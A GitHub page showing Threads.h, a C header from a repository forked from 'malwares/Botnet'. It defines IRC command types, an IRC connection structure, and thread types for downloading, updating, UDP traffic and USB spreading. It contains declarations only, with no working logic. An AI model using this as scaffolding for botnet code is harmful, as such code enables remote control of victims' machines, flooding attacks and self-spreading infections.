forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Threads.h
57 lines (50 loc) · 753 Bytes
/
Threads.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
typedef enum
{
MSG_PASS,
MSG_NICK,
MSG_USER,
MSG_PONG,
MSG_JOIN,
MSG_PART,
MSG_PRIVMSG,
MSG_QUIT
} ircmessage;
typedef enum
{
NONE,
DOWNLOAD_THREAD,
UPDATE_THREAD,
UDP_THREAD,
USB_THREAD
} thread_type;
typedef struct
{
HANDLE tHandle;
thread_type type;
SOCKET tsock;
} thread_s;
typedef struct
{
char *host;
unsigned short port;
char *password;
} ircconnect_s;
typedef struct NTHREAD {
void *conn;
char target[128];
int threadnum;
char *data1;
char *data2;
char *data3;
BOOL bdata1;
BOOL bdata2;
BOOL bdata3;
int idata1;
int idata2;
SOCKET sock;
SOCKET csock;
BOOL verbose;
BOOL silent;
BOOL gotinfo;
} NTHREAD;
//You didn't even search for the NTHREAD shit.. no but i did something wrong i added this